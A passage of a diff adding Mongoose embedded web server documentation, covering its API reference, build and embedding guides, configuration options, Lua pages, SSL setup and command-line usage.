+Similar to `mg_write()`, but wraps the data into a websocket frame with a
+given websocket `opcode`.  
+
+    const char *mg_get_header(const struct mg_connection *, const char *name);
+
+Get the value of particular HTTP header. This is a helper function.
+It traverses http_headers array, and if the header is present in the array,
+returns its value. If it is not present, NULL is returned.
+
+
+    int mg_get_var(const struct mg_connection *conn, const char *var_name,
+                   char *buf, size_t buf_len);
+
+Gets HTTP form variable. Both POST buffer and query string are inspected.
+Form variable is url-decoded and written to the buffer. On success, this
+function returns the length of decoded variable. On error, -1 is returned if
+variable not found, and -2 is returned if destination buffer is too small
+to hold the variable. Destination buffer is guaranteed to be
+'\0' - terminated if it is not NULL or zero length.
+
+    int mg_parse_header(const char *hdr, const char *var_name, char *buf,
+                        size_t buf_size);
+
+This function parses HTTP header and fetches given variable's value in a buffer.
+A header should be like `x=123, y=345, z="other value"`. This function is
+designed to parse Cookie headers, Authorization headers, and similar. Returns
+the length of the fetched value, or 0 if variable not found.
+
+    int mg_modify_passwords_file(const char *passwords_file_name,
+                                 const char *domain,
+                                 const char *user,
+                                 const char *password);
+
+Add, edit or delete the entry in the passwords file.  
+This function allows an application to manipulate .htpasswd files on the
+fly by adding, deleting and changing user records. This is one of the
+several ways of implementing authentication on the server side. For another,
+cookie-based way please refer to the examples/chat.c in the source tree.  
+If password is not NULL, entry is added (or modified if already exists).
+If password is NULL, entry is deleted.  
+Return: 1 on success, 0 on error.
+
+   
+    int mg_parse_multipart(const char *buf, int buf_len,
+                           char *var_name, int var_name_len,
+                           char *file_name, int file_name_len,
+                           const char **data, int *data_len);
+
+Parses a buffer that contains multipart form data. Stores chunk name
+in a `var_name` buffer. If chunk is an uploaded file, then `file_name`
+will have a file name. `data` and `data_len` will point to the chunk data.
+Returns number of bytes to skip to the next chunk.
+
+     struct mg_connection *mg_connect(struct mg_server *server,
+                                      const char *host, int port, int use_ssl);
+
+Create connection to the remote host. Returns `NULL` on error, non-null
+if the connection has been scheduled for connection. Upon a connection,
+Mongoose will send `MG_CONNECT` event to the event handler.

docs/AndroidBuild.md

@@ -0,0 +1,27 @@
+# Mongoose Build on Android
+
+This is a small guide to help you run mongoose on Android. Currently it is
+tested on the HTC Wildfire. If you have managed to run it on other devices
+as well, please comment or drop an email in the mailing list.
+Note : You dont need root access to run mongoose on Android.
+
+- Clone Mongoose Git repo
+- Download the Android NDK from [http://developer.android.com/tools/sdk/ndk/index.html](http://developer.android.com/tools/sdk/ndk/index.html)
+- Run `/path-to-ndk/ndk-build -C /path-to-mongoose/examples`
+  That should generate mongoose/lib/armeabi/mongoose
+- Using the adb tool (you need to have Android SDK installed for that),
+  push the generated mongoose binary to `/data/local` folder on device.
+- From adb shell, navigate to `/data/local` and execute `./mongoose`.
+- To test if the server is running fine, visit your web-browser and
+  navigate to `http://127.0.0.1:8080` You should see the `Index of /` page.
+
+![screenshot](http://cesanta.com/images/android_build.png)
+
+
+Notes:
+
+- `jni` stands for Java Native Interface. Read up on Android NDK if you want
+  to know how to interact with the native C functions of mongoose in Android
+  Java applications.
+- TODO: A Java application that interacts with the native binary or a
+  shared library.

docs/BasicWebsite.md

@@ -0,0 +1,34 @@
+How To Create A PHP Website With Mongoose
+===========================================
+
+## 1. Create a directory which will contain your website files. For example, on drive `C:\`, create a directory called `my_website`:
+
+![screenshot](http://cesanta.com/images/tut_basic/tut1.png)
+
+## 2. Inside `my_website` directory, create a new file called "index". This will be the default web page shown when the website is visited.
+
+![screenshot](http://cesanta.com/images/tut_basic/tut2.png)
+
+## 3. Open index file with your favorite editor (for example, Notepad) and enter some HTML code:
+
+![screenshot](http://cesanta.com/images/tut_basic/tut3.png)
+
+## 4. Save this file as `index.html`:
+
+![screenshot](http://cesanta.com/images/tut_basic/tut4.png)
+
+
+## 5. Download Mongoose executable from http://cesanta.com/mongoose.shtml and copy the executable inside `my_website` directory:
+
+![screenshot](http://cesanta.com/images/tut_basic/tut5.png)
+
+## 6. Double-click mongoose executable. An icon will appear on a system tray in the bottom right corner of the desktop:
+
+![screenshot](http://cesanta.com/images/tut_basic/tut6.png)
+
+## 7. Click on the mongoose icon and choose "Start browser" menu:
+![screenshot](http://cesanta.com/images/tut_basic/tut7.png)
+
+## 8. A browser will popup displaying `index.html` file. Now, you can expand your website by adding more content.
+
+![screenshot](http://cesanta.com/images/tut_basic/tut8.png)

docs/Embed.md

@@ -0,0 +1,173 @@
+# Mongoose Embedding Guide
+
+Embedding Mongoose is done in two steps:
+
+   1. Copy
+    [mongoose.c](https://raw.github.com/cesanta/mongoose/master/mongoose.c) and
+    [mongoose.h](https://raw.github.com/cesanta/mongoose/master/mongoose.h)
+    to your application's source tree and include them in the build.
+   2. Somewhere in the application code, call `mg_create_server()` to create
+    a server, configure it with `mg_set_option()` and loop with
+    `mg_poll_server()` until done. Call `mg_destroy_server()` to cleanup.
+
+Here's a minimal application `app.c` that embeds mongoose:
+
+    #include "mongoose.h"
+
+    int main(void) {
+      struct mg_server *server = mg_create_server(NULL, NULL);
+      mg_set_option(server, "document_root", ".");      // Serve current directory
+      mg_set_option(server, "listening_port", "8080");  // Open port 8080
+
+      for (;;) {
+        mg_poll_server(server, 1000);   // Infinite loop, Ctrl-C to stop
+      }
+      mg_destroy_server(&server);
+
+      return 0;
+    }
+
+To compile it, put `mongoose.c`, `mongoose.h` and `app.c` into one
+folder, start terminal on UNIX or Visual Studio command line prompt on Windows,
+and run the following command:
+
+    cc app.c mongoose.c -pthread -o app     # on Unix
+    cl.exe app.c mongoose.c /TC /MD         # on Windows
+
+When run, this simple application opens port 8080 and serves static files,
+CGI files and lists directory content in the current working directory.
+
+It is possible to generate HTML page content. Mongoose can call user-defined
+function when certain events occur.
+That function is called _an event handler_, and it is the second parameter
+to `mg_create_server()` function. Here is the example event handler function:
+
+    int event_handler(struct mg_connection *conn, enum mg_event ev) {
+      switch (ev) {
+        case MG_AUTH: return MG_TRUE;
+        default: return MG_FALSE;
+      }
+    }
+
+Event handler is called by Mongoose with `struct mg_connection *`
+pointer and an event number. `struct mg_connection *conn` 
+has all information about the request: HTTP headers, POST or websocket
+data buffer, etcetera. `enum mg_event ev` tells which exactly event is sent.
+For each event, an event handler returns a value which tells Mongoose how
+to behave.
+
+The sequence of events for every connection is this:
+
+   * `MG_AUTH` - Mongoose asks whether this connection is authorized. If event
+      handler returns `MG_FALSE`, then Mongoose does not serve the request but
+      sends authorization request to the client. If `MG_TRUE` is returned,
+      then Mongoose continues on with the request.
+   * `MG_REQUEST` - Mongoose asks event handler to serve the request. If
+      event handler serves the request by sending a reply,
+      it should return `MG_TRUE`. Otherwise,
+      it should return `MG_FALSE` which tells Mongoose that request is not
+      served and Mongoose should serve it. For example, event handler might
+      choose to serve only RESTful API requests with URIs that start with
+      certain prefix, and let Mongoose serve all static files.
+      If event handler decides to serve the request, but doesn't have
+      all the data at the moment, it should return `MG_MORE`. That tells
+      Mongoose to send `MG_POLL` events on each iteration of `mg_poll_server()`
+
+      `mg_connection::connection_param` pointer is a placeholder to keep
+      user-specific data. For example, handler could decide to open a DB
+      connection and store DB connection handle in `connection_param`.
+   * `MG_POLL` is sent only to those connections which returned `MG_MORE`.
+      Event handler should try to complete the reply. If reply is completed,
+      then event handler should return `MG_TRUE`. Otherwise, it should
+      return `MG_FALSE`, and polling will continue until
+      handler returns `MG_TRUE`.
+   * `MG_CLOSE` is sent when the connection is closed. This event is used
+      to cleanup per-connection state stored in `connection_param`
+      if it was allocated.
+
+Let's extend our minimal application example and
+create an URI that will be served by user's C code. The app will handle
+`/hello` URI by showing a hello message. So, when app is run,
+http://127.0.0.1:8080/hello will say hello, and here's the code:
+
+    #include <string.h>
+    #include "mongoose.h"
+
+    static int event_handler(struct mg_connection *conn, enum mg_event ev) {
+      if (ev == MG_AUTH) {
+        return MG_TRUE;   // Authorize all requests
+      } else if (ev == MG_REQUEST && !strcmp(conn->uri, "/hello")) {
+        mg_printf_data(conn, "%s", "Hello world");
+        return MG_TRUE;   // Mark as processed
+      } else {
+        return MG_FALSE;  // Rest of the events are not processed
+      }
+    }
+
+    int main(void) {
+      struct mg_server *server = mg_create_server(NULL, event_handler);
+      mg_set_option(server, "document_root", ".");
+      mg_set_option(server, "listening_port", "8080");
+
+      for (;;) {
+        mg_poll_server(server, 1000);  // Infinite loop, Ctrl-C to stop
+      }
+      mg_destroy_server(&server);
+
+      return 0;
+    }
+
+## Example code
+
+Mongoose source code contains a well-commented example code, listed below:
+
+   * [hello.c](https://github.com/cesanta/mongoose/blob/master/examples/hello.c)
+   a minimalistic hello world example
+   * [post.c](https://github.com/cesanta/mongoose/blob/master/examples/post.c)
+   shows how to handle form input
+   * [upload.c](https://github.com/cesanta/mongoose/blob/master/examples/post.c)
+   shows how to upload files
+   * [websocket.c](https://github.com/cesanta/mongoose/blob/master/examples/websocket.c) demonstrates websocket usage
+   * [auth.c](https://github.com/cesanta/mongoose/blob/master/examples/websocket.c) demonstrates API-controlled Digest authorization
+   * [mjpg.c](https://github.com/cesanta/mongoose/blob/master/examples/mjpg.c) demonstrates MJPEG streaming implementation
+
+## Compilation flags
+
+Below is the list of compilation flags that enable or disable certain
+features. By default, some features are enabled, and could be disabled
+by setting appropriate `NO_*` flag. Features that are disabled by default
+could be enabled by setting appropriate `USE_*` flag. Bare bones Mongoose
+is quite small, about 30 kilobytes of compiled x86 code. Each feature adds
+a couple of kilobytes to the executable size, and also has some runtime penalty.
+
+Note that some flags start with `NS_` prefix. This is because Mongoose uses
+[Net Skeleton](http://github.com/cesanta/net_skeleton) as a low-level
+networking engine. If user code has `#include <net_skeleton.h>`, then
+all Net Skeleton functions will be available too.
+
+
+    -DMONGOOSE_NO_AUTH          Disable MD5 authorization support
+    -DMONGOOSE_NO_CGI           Disable CGI support
+    -DMONGOOSE_NO_DAV           Disable WebDAV support
+                                (PUT, DELETE, MKCOL, PROPFIND methods)
+    -DMONGOOSE_NO_DIRECTORY_LISTING  Disable directory listing
+    -DMONGOOSE_NO_FILESYSTEM    Disables all file IO, serving from memory only
+    -DMONGOOSE_NO_LOGGING       Disable access/error logging
+    -DMONGOOSE_NO_THREADS
+    -DMONGOOSE_NO_WEBSOCKET     Disable WebSocket support
+
+    -DMONGOOSE_USE_IDLE_TIMEOUT_SECONDS=X Idle connection timeout, default is 30
+    -DMONGOOSE_USE_LUA          Enable Lua scripting
+    -DMONGOOSE_USE_LUA_SQLITE3  Enable sqlite3 binding for Lua
+    -DMONGOOSE_USE_POST_SIZE_LIMIT=X      POST requests larger than X will be
+                                          rejected, not set by default
+    -DMONGOOSE_USE_EXTRA_HTTP_HEADERS=X   Append X to the HTTP headers
+                                          for static files, empty by default
+
+    -DNS_ENABLE_DEBUG         Enables debug messages on stdout, very noisy
+    -DNS_ENABLE_SSL           Enable SSL
+    -DNS_ENABLE_IPV6          Enable IPv6 support
+    -DNS_ENABLE_HEXDUMP       Enables hexdump of sent and received traffic
+    -DNS_STACK_SIZE=X         Sets stack size to X for  ns_start_thread()
+    -DNS_DISABLE_THREADS      Disable threads support
+    -DNS_DISABLE_SOCKETPAIR   For systems without loopback interface

docs/FAQ.md

@@ -0,0 +1,23 @@
+# Mongoose FAQ
+
+### PHP doesn't work: getting empty page, or 'File not found' error
+
+The reason for that is wrong paths to the interpreter. Remember that with PHP,
+correct interpreter is `php-cgi.exe` (`php-cgi` on UNIX). Solution: specify
+full path to the PHP interpreter, e.g.:
+
+    mongoose -cgi_interpreter /full/path/to/php-cgi
+
+### Mongoose fails to start
+
+If Mongoose exits immediately when run, this
+usually indicates a syntax error in the configuration file
+(named `mongoose.conf` by default) or the command-line arguments.
+Syntax checking is omitted from Mongoose to keep its size low. However,
+the Manual should be of help. Note: the syntax changes from time to time,
+so updating the config file might be necessary after executable update.
+
+### Embedding with OpenSSL on Windows might fail because of calling convention
+
+To force Mongoose to use `__stdcall` convention, add `/Gz` compilation
+flag to the Visual Studio project settings.

docs/FileSharing.md

@@ -0,0 +1,19 @@
+How To Share Files With Mongoose
+===========================================
+
+## 1. Download Mongoose executable from http://cesanta.com/mongoose.shtml and copy the executable inside the directory you want to share:
+
+![screenshot](http://cesanta.com/images/tut_sharing/tut1.png)
+
+## 2. Double-click mongoose executable. An icon will appear on a system tray in the bottom right corner of the desktop:
+
+![screenshot](http://cesanta.com/images/tut_sharing/tut2.png)
+
+## 3. Click on the mongoose icon and choose "Start browser" menu:
+![screenshot](http://cesanta.com/images/tut_sharing/tut3.png)
+
+## 4. A browser will popup displaying files. That's all! To access those files from another computer, start a browser and type `http://<your_machine_ip_address>:8080/` in the address bar.
+
+![screenshot](http://cesanta.com/images/tut_sharing/tut4.png)
+
+## Tip: to find out what is your machine IP address, take a look at http://windows.microsoft.com/en-us/windows/find-computers-ip-address

docs/Internals.md

@@ -0,0 +1,44 @@
+# Mongoose Internals
+
+Mongoose has single-threaded, event-driven, asynchronous, non-blocking core.
+`mg_create_server()` creates a web server instance. An instance is a container
+for the config options and list of active connections. To do the actual
+serving, user must call `mg_poll_server()`, which iterates over all
+active connections, performing `select()` syscall on all sockets with a
+timeout of specified number of milliseconds. When `select()` returns, Mongoose
+does an IO for each socket that has data to be sent or received. Application
+code must call `mg_poll_server()` in a loop.
+
+Mongoose server instance is designed to be used by a single thread.
+It is an error to have more then
+one thread calling `mg_poll_server()`, `mg_set_option()` or any other function
+that take `struct mg_server *` parameter. Mongoose does not
+mutex-protect `struct mg_server *`, therefore the best practice is
+to call server management functions from the same thread (an IO thread).
+On a multi-core systems, many server instances can be created, sharing the
+same listening socket and managed by separate threads (see [multi_threaded.c](https://github.com/cesanta/mongoose/blob/master/examples/multi_threaded.c))
+example.
+
+It is an error to pass and store `struct mg_connection *` pointers for
+later use to send data. The reason is that they can be invalidated by the
+next `mg_poll_server()` call. For such a task,
+there is `mg_iterate_over_connections()` API
+exists, which sends a callback function to the IO thread, then IO thread
+calls specified function for all active connection.
+
+When mongoose buffers in HTTP request and successfully parses it, it calls
+appropriate URI handler immediately for GET requests. For POST requests,
+Mongoose delays the call until the whole POST request is buffered in memory.
+POST data is available to the callback as `struct mg_connection::content`,
+and POST data length is in `struct mg_connection::content_len`.
+
+Note that websocket connections are treated the same way. Mongoose buffers
+websocket frame in memory, and calls URI handler when frame is fully
+buffered. Frame data is available `struct mg_connection::content`, and
+data length is in `struct mg_connection::content_len`, i.e. very similar to
+the POST request. `struct mg_connection::is_websocket` flag indicates
+whether the request is websocket or not. Also, for websocket requests,
+there is `struct mg_connection::wsbits` field which contains first byte
+of the websocket frame which URI handler can examine. Note that to
+reply to the websocket client, `mg_websocket_write()` should be used.
+To reply to the plain HTTP client, `mg_write()` should be used.

docs/LuaSqlite.md

@@ -0,0 +1,51 @@
+# Mongoose Lua Server Pages
+
+Pre-built Windows and Mac mongoose binaries support Lua Server Pages
+functionality.
+That means it is possible to write PHP-like scripts with mongoose
+using Lua programming language instead of PHP. Lua is known
+for it's speed and small size. Mongoose uses Lua version 5.2.3, the
+documentation for it can be found at
+[Lua 5.2 reference manual](http://www.lua.org/manual/5.2/).
+
+To create a Lua Page, make a file that is called `ANY_NAME.lp`. For example,
+`my_page.lp`. It is important to have a file
+name that ends up with `.lp`, cause this is the way mongoose recognises
+Lua Page file. The contents of the file, just like
+with PHP, is HTML with embedded Lua code. Lua code must be enclosed within
+`<?  ?>` blocks, and can appear anywhere on the page.
+
+Mongoose does not send HTTP headers for Lua pages. Therefore,
+every Lua Page must begin with HTTP status line and headers, like this:
+
+    <? mg.write('HTTP/1.0 200 OK\r\nContent-Type: text/html\r\n\r\n') ?>
+    <html><body>
+      <span>Today is:</span> <? mg.write(os.date("%A")) ?>
+    </body></html>
+
+Note that this example uses function `mg.write()`, which prints data to the
+web page. Using function `mg.write()` is the way to generate web content from
+inside Lua code. In addition to `mg.write()`, all standard library functions
+are accessible from the Lua code (please check reference manual for details).
+Information about the request is available via the `mg.request_info` object.
+I contains request method, all headers, etcetera. Please refer to
+`struct mg_request_info` definition in
+[mongoose.h](https://github.com/cesanta/mongoose/blob/master/mongoose.h)
+to see what is available via the `mg.request_info` object.
+Check out [prime_numbers.lp](https://github.com/cesanta/mongoose/blob/master/examples/lua/prime_numbers.lp) for some example.
+
+Mongoose exports the following to the Lua Server Page:
+
+    mg.write(str)     -- writes string to the client
+    mg.onerror(msg)   -- error handler, can be overridden
+    mg.request_info   -- a table with request information
+
+Using Lua scripting it is easy to emulate SSI functionality. For example,
+to include the content of another file, one can write:
+
+    <? mg.write(io.open('MY_FILE.TXT'):read('*all')) ?>
+
+To serve a Lua Page, mongoose creates Lua context. That context is used for
+all Lua blocks within the page. That means, all Lua blocks on the same page
+share the same context. If one block defines a variable, for example, that
+variable is visible in all following blocks.

docs/Options.md

@@ -0,0 +1,147 @@
+# Mongoose Configuration Options
+
+### access\_control\_list
+An Access Control List (ACL) allows restrictions to be put on the list of IP
+addresses which have access to the web server. In the case of the Mongoose
+web server, the ACL is a comma separated list of IP subnets, where each
+subnet is prepended by either a `-` or a `+` sign. A plus sign means allow,
+where a minus sign means deny. If a subnet mask is omitted, such as `-1.2.3.4`,
+this means to deny only that single IP address.
+
+Subnet masks may vary from 0 to 32, inclusive. The default setting is to allow
+all accesses. On each request the full list is traversed, and
+the last match wins. Example: `$ mongoose -access_control_list -0.0.0.0/0,+192.168/16` to deny all acccesses except those from `192.168/16` subnet. To learn
+more about subnet masks, see the
+[Wikipedia page on Subnetwork](http://en.wikipedia.org/wiki/Subnetwork)
+
+Default: not set, all accesses are allowed.
+
+### access\_log\_file
+Path to a file for access logs. Either full path, or relative to the
+mongoose executable. Default: not set, no query logging is done.
+
+### auth_domain
+Authorization realm used in `.htpasswd` authorization. Default: `mydomain.com`
+
+### cgi_interpreter
+Path to an executable to be used use as an interpreter for __all__ CGI scripts
+regardless script extension.  Default: not set, Mongoose looks at
+[shebang line](http://en.wikipedia.org/wiki/Shebang_(Unix\).
+
+For example, if both PHP and perl CGIs are used, then
+`#!/path/to/php-cgi.exe` and `#!/path/to/perl.exe` must be first lines of the
+respective CGI scripts. Note that paths should be either full file paths,
+or file paths relative to the directory where mongoose executable is located.
+
+If all CGIs use the same interpreter, for example they are all PHP, then
+`cgi_interpreter` option can be set to the path to `php-cgi.exe` executable and
+shebang line in the CGI scripts can be omitted.
+**Note**: PHP scripts must use `php-cgi.exe`, not `php.exe`.
+
+### cgi_pattern
+All files that match `cgi_pattern` are treated as CGI files. Default pattern
+allows CGI files be anywhere. To restrict CGIs to a certain directory,
+use `/path/to/cgi-bin/**.cgi` as a pattern. Note that **full file path** is
+matched against the pattern, not the URI.
+
+When Mongoose starts CGI program, it creates new environment for it (in
+contrast, usually child program inherits the environment from parent). Several
+environment variables however are inherited from Mongoose's environment,
+they are: `PATH`, `TMP`, `TEMP`, `TMPDIR`, `PERLLIB`, `MONGOOSE_CGI`. On UNIX
+it is also `LD_LIBRARY_PATH`. On Windows it is also `COMSPEC`, `SYSTEMROOT`,
+`SystemDrive`, `ProgramFiles`, `ProgramFiles(x86)`, `CommonProgramFiles(x86)`.
+
+Default: `**.cgi$|**.pl$|**.php$`
+
+### dav\_auth\_file
+Authentication file for WebDAV mutation requests: `PUT`, `DELETE`, `MKCOL`.
+The format of that file is the same as for the `.htpasswd` file
+used for digest authentication. It can be created and managed by
+`mongoose -A` command. Default: not set, WebDAV mutations are disallowed.
+
+### document_root
+A directory to serve. Default: current working directory.
+
+### enable\_directory\_listing
+Enable directory listing, either `yes` or `no`. Default: `yes`.
+
+### extra\_mime\_types
+Extra mime types to recognize, in form `extension1=type1,extension2=type2,...`.
+Extension must include dot.  Example:
+`mongoose -extra_mime_types .cpp=plain/text,.java=plain/text`. Default: not set.
+
+
+### global\_auth\_file
+Path to a global passwords file, either full path or relative to the mongoose
+executable. If set, per-directory `.htpasswd` files are ignored,
+and all requests are authorised against that file. Use `mongoose -A` to
+manage passwords, or third party utilities like
+[htpasswd-generator](http://www.askapache.com/online-tools/htpasswd-generator).
+Default: not set, per-directory `.htpasswd` files are respected.
+
+### hide\_files\_patterns
+A pattern for the files to hide. Files that match the pattern will not
+show up in directory listing and return `404 Not Found` if requested. Pattern
+must be for a file name only, not including directory name, e.g.
+`mongoose -hide_files_patterns secret.txt|even_more_secret.txt`. Default:
+not set.
+
+### idle\_timeout\_ms
+Timeout for idle connections in milliseconds. Default: `30000` (30 seconds)
+
+### index_files
+Comma-separated list of files to be treated as directory index
+files. Default: `index.html,index.htm,index.cgi,index.shtml,index.php`
+
+### ssl_certificate
+Path to SSL certificate file. The file must be in PEM format,
+and it must have both private key and certificate, see for example
+[ssl_cert.pem](https://github.com/cesanta/mongoose/blob/master/build/ssl_cert.pem). If this option is set, then Mongoose serves SSL connections on
+`listening_port`. Default: not set.
+
+### listening_port
+Port to listen on. Port could be prepended by the specific IP address to bind
+to, e.g. `mongoose -listening_port 127.0.0.1:8080`. Otherwise Mongoose
+will bind to all addresses.  Default: 8080.
+
+### run\_as\_user
+Switch to given user credentials after startup. UNIX-only. This option is
+required when mongoose needs to bind on privileged port on UNIX, e.g.
+
+    $ sudo mongoose -listening_port 80 -run_as_user nobody
+
+Default: not set.
+
+### url\_rewrites
+Comma-separated list of URL rewrites in the form of
+`uri_pattern=file_or_directory_path`. When Mongoose receives the request,
+it constructs the file name to show by combining `document_root` and the URI.
+However, if the rewrite option is used and `uri_pattern` matches the
+requested URI, then `document_root` is ignored. Instead,
+`file_or_directory_path` is used, which should be a full path name or
+a path relative to the web server's current working directory. Note that
+`uri_pattern`, as all mongoose patterns, is a prefix pattern. If `uri_pattern`
+is a number, then it is treated as HTTP error code, and `file_or_directory_path`
+should be an URI to redirect to. Mongoose will issue `302` temporary redirect
+to the specified URI with following parameters:
+`?code=HTTP_ERROR_CODE&orig_uri=ORIGINAL_URI&query_string=QUERY_STRING`.
+
+If `uri_pattern` starts with `@` symbol, then Mongoose compares
+it with the `HOST` header of the request. If they are equal, Mongoose sets
+document root to `file_or_directory_path`, implementing virtual hosts support.
+
+Examples:
+
+    # Redirect all accesses to `.doc` files to a special script
+    mongoose -url_rewrites **.doc$=/path/to/cgi-bin/handle_doc.cgi
+
+    # Implement user home directories support
+    mongoose -url_rewrites /~joe/=/home/joe/,/~bill=/home/bill/
+
+    # Redirect 404 errors to a specific error page
+    mongoose -url_rewrites 404=/cgi-bin/error.cgi
+
+    # Virtual hosts example: serve foo.com domain from different directory
+    mongoose -url_rewrites @foo.com=/var/www/foo.com
+
+Default: not set.

docs/PhpWebsite.md

@@ -0,0 +1,49 @@
+How To Create A PHP Website With Mongoose
+===========================================
+
+## 1. Create a directory which will contain your website files. For example, on drive `C:\`, create a directory called `my_website`:
+
+![screenshot](http://cesanta.com/images/tut_php/tut1.png)
+
+## 2. Inside `my_website` directory, create a new file called "index". This will be the default web page shown when the website is visited.
+
+![screenshot](http://cesanta.com/images/tut_php/tut2.png)
+
+## 3. Open index file with your favorite editor (for example, Notepad) and enter some HTML / PHP code:
+
+![screenshot](http://cesanta.com/images/tut_php/tut3.png)
+
+## 4. Save this file as `index.php`:
+
+![screenshot](http://cesanta.com/images/tut_php/tut4.png)
+
+
+## 5. Download Mongoose executable from http://cesanta.com/mongoose.shtml and copy the executable inside `my_website` directory:
+
+![screenshot](http://cesanta.com/images/tut_php/tut5.png)
+
+## 6. Double-click mongoose executable. An icon will appear on a system tray in the bottom right corner of the desktop:
+
+![screenshot](http://cesanta.com/images/tut_php/tut6.png)
+
+## 7. Download PHP 5.3 zip (do NOT download PHP 5.5 cause you might have missing DLLs problem) from http://windows.php.net/download and extract it to `C:\php5` directory:
+![screenshot](http://cesanta.com/images/tut_php/tut7.png)
+
+## 8. Click on the mongoose icon and choose "Edit Settings" menu.:
+![screenshot](http://cesanta.com/images/tut_php/tut8.png)
+
+## 9. A settings dialog will appear. Click on `cgi_interpreter` button:
+
+![screenshot](http://cesanta.com/images/tut_php/tut9.png)
+
+## 10. Choose `C:\php5\php-cgi.exe` and click "Save Settings":
+
+![screenshot](http://cesanta.com/images/tut_php/tut10.png)
+
+## 11. Click on the mongoose icon and choose "Start browser" menu:
+![screenshot](http://cesanta.com/images/tut_php/tut11.png)
+
+
+## 12. A browser will popup displaying `index.php`.
+
+![screenshot](http://cesanta.com/images/tut_php/tut12.png)

docs/SSL.md

@@ -0,0 +1,75 @@
+# Mongoose SSL guide
+
+SSL is a protocol that makes web communication secure. To enable SSL
+in mongoose, 3 steps are required:
+
+   1. Valid certificate file must be created
+   2. `ssl_certificate` options must be set to contain path to the
+       certificate file.
+   3. `listening_ports` option must contain a port number with letter `s`
+        appended to it, which instructs Mongoose to use SSL for all connections
+        made to that port.
+
+Below is the `mongoose.conf` file snippet for typical SSL setup:
+
+    document_root     www_root        # Serve files in www_root directory
+    listening_ports   80r,443s        # Redirect all HTTP requests to HTTPS
+    ssl_certificate   ssl_cert.pem    # Location of certificate file
+
+## How to create SSL certificate file
+
+SSL certificate file is a text file that must contain at least two
+sections:
+
+   1. A private key
+   2. A certificate
+
+Both sections should be chunks of text in PEM format. When PEM file is
+opened in a text editor, it looks like this:
+
+    -----BEGIN RSA PRIVATE KEY-----
+    MIIEogIBAAKCAQEAwONaLOP7EdegqjRuQKSDXzvHmFMZfBufjhELhNjo5KsL4ieH
+    hYN0Zii2yTb63jGxKY6gH1R/r9dL8kXaJmcZrfSa3AgywnteJWg=
+    -----END RSA PRIVATE KEY-----
+    -----BEGIN CERTIFICATE-----
+    MIIDBjCCAe4CCQCX05m0b053QzANBgkqhkiG9w0BAQQFADBFMQswCQYDVQQGEwJB
+    SEGI4JSxV56lYg==
+    -----END CERTIFICATE-----
+
+Two aforementioned sections are clearly seen. Typically, those section
+are bigger then in the example shown. The text between the `BEGIN` and
+`END` is the text representation of binary data, a private key and a
+certificate. Therefore, in order to create a certificate file,
+
+   * private key must be converted to PEM format
+   * certificate must be converted to PEM format
+   * those two should be concatenated into a single file
+
+If the certificate chain in used, a chain file also needs to be
+converted into PEM format and appended to the certificate file.
+
+## How SSL works
+
+SSL is a protocol that can encrypt communication between two parties. If third
+party observes all messages passed by, it would be very
+hard for the third party (though not impossible) to decrypt the communication.
+
+The idea is based on so-called public key encryption. Communicating parties
+have two keys: a public key and a private key. A public key is advertised
+to everybody, and it is contained in a certificate. A private key is kept
+secret. Security algorithm works in a way that anybody can encrypt
+a message using public key, and only private key can decrypt it.
+
+This is why web server needs both private key and certificate: private key
+is used to decrypt incoming messages, and certificate is used to tell the
+public key to the other party. When communication starts, parties exchange
+their public keys, and keep private keys to themselves. Man-in-the-middle
+who observes the communication is unable to decrypt the messages cause
+private keys are required for decryption.
+
+Encryption algorithms are built on top of hard mathematical problem, which
+makes it very expensive for man-in-the-middle to compute private keys.
+For example, RSA algorithm is based on a mathematical problem of factorization.
+It is easy to generate two very large prime numbers `P` and `Q` and make
+a product `P * Q`. But given a product, it is very hard to recover these
+two prime numbers - this is called factorization.

docs/Usage.md

@@ -0,0 +1,86 @@
+# Mongoose User Guide
+
+Mongoose is small and easy to use web server built on top of
+mongoose library. It is designed with maximum simplicity in mind. For example,
+to share any directory, just drop mongoose executable in that directory,
+double-click it (on UNIX, run it from shell) and launch a browser at
+[http://localhost:8080](http://localhost:8080) Note that 'localhost' should
+be changed to a machine's name if a folder is accessed from other computer.
+
+On Windows and Mac, Mongoose iconifies itself to the system tray when started.
+Right-click on the icon to pop up a menu, where it is possible to stop
+mongoose, or configure it.
+
+On UNIX, `mongoose` is a command line utility. Running `mongoose` in
+terminal, optionally followed by configuration parameters
+(`mongoose [OPTIONS]`) or configuration file name
+(`mongoose [config_file_name]`) starts the
+web server:
+
+    $ mongoose -document_root /var/www  # Running mongoose with cmdline options
+    $ mongoose /etc/my_config.txt       # Running mongoose with config file
+    $ mongoose                          # Running with no parameters. This will
+                                        # serve current directory on port 8080
+
+Mongoose does not detach from terminal. Pressing `Ctrl-C` keys
+stops the server.
+
+When started, mongoose first searches for the configuration file.
+If configuration file is specified explicitly in the command line, then
+specified configuration file is used.
+Otherwise, mongoose would search for file `mongoose.conf` in the same directory
+where binary is located, and use it. Configuration file can be absent.
+
+Configuration file is a sequence of lines, each line containing
+command line argument name and it's value. Empty lines and lines beginning
+with `#` are ignored. Here is the example of `mongoose.conf` file:
+
+    # This is a comment
+    document_root C:\www
+    listening_port 80
+    ssl_certificate C:\mongoose\ssl_cert.pem
+
+Command line arguments are highest priority and can override
+configuration file settings. For example, if `mongoose.conf` has line
+`document_root /var/www`, and mongoose has been started as
+`mongoose -document_root /etc`, then `/etc` directory will be used as
+document root.
+
+Note that configuration options on the command line must start with `-`,
+and their names are the same as in the config file. Exampli gratia,
+the following two setups are equivalent:
+
+    $ mongoose -listening_port 1234 -document_root /var/www
+
+    $ cat > mongoose.conf
+    listening_ports 1234
+    document_root /var/www
+    ^D
+    $ mongoose
+
+Mongoose can also be used to modify `.htpasswd` passwords file:
+
+    $ mongoose -A .htpasswd mydomain.com user_name user_password
+
+Unlike other web servers, mongoose does not require CGI scripts be located in
+a special directory. CGI scripts can be anywhere. CGI (and SSI) files are
+recognized by the file name pattern. Mongoose uses shell-like glob
+patterns. Pattern match starts at the beginning of the string, so essentially
+patterns are prefix patterns. Syntax is as follows:
+
+     **         Matches everything
+     *          Matches everything but slash character, '/'
+     ?          Matches any character
+     $          Matches the end of the string
+     |          Matches if pattern on the left side or the right side matches.
+
+All other characters in the pattern match themselves. Examples:
+
+    # Pattern   Meaning
+    **.cgi$     Any string that ends with .cgi
+    /foo        Any string that begins with /foo
+    **a$|**b$   Any string that ends with a or b
+
+To restrict CGI files only to `/cgi-bin/` directory, use this setting:
+
+    $ mongoose -cgi_pattern /cgi-bin/*.cgi # Emulate /cgi-bin/ restriction

examples/Makefile

@@ -1,56 +1,62 @@
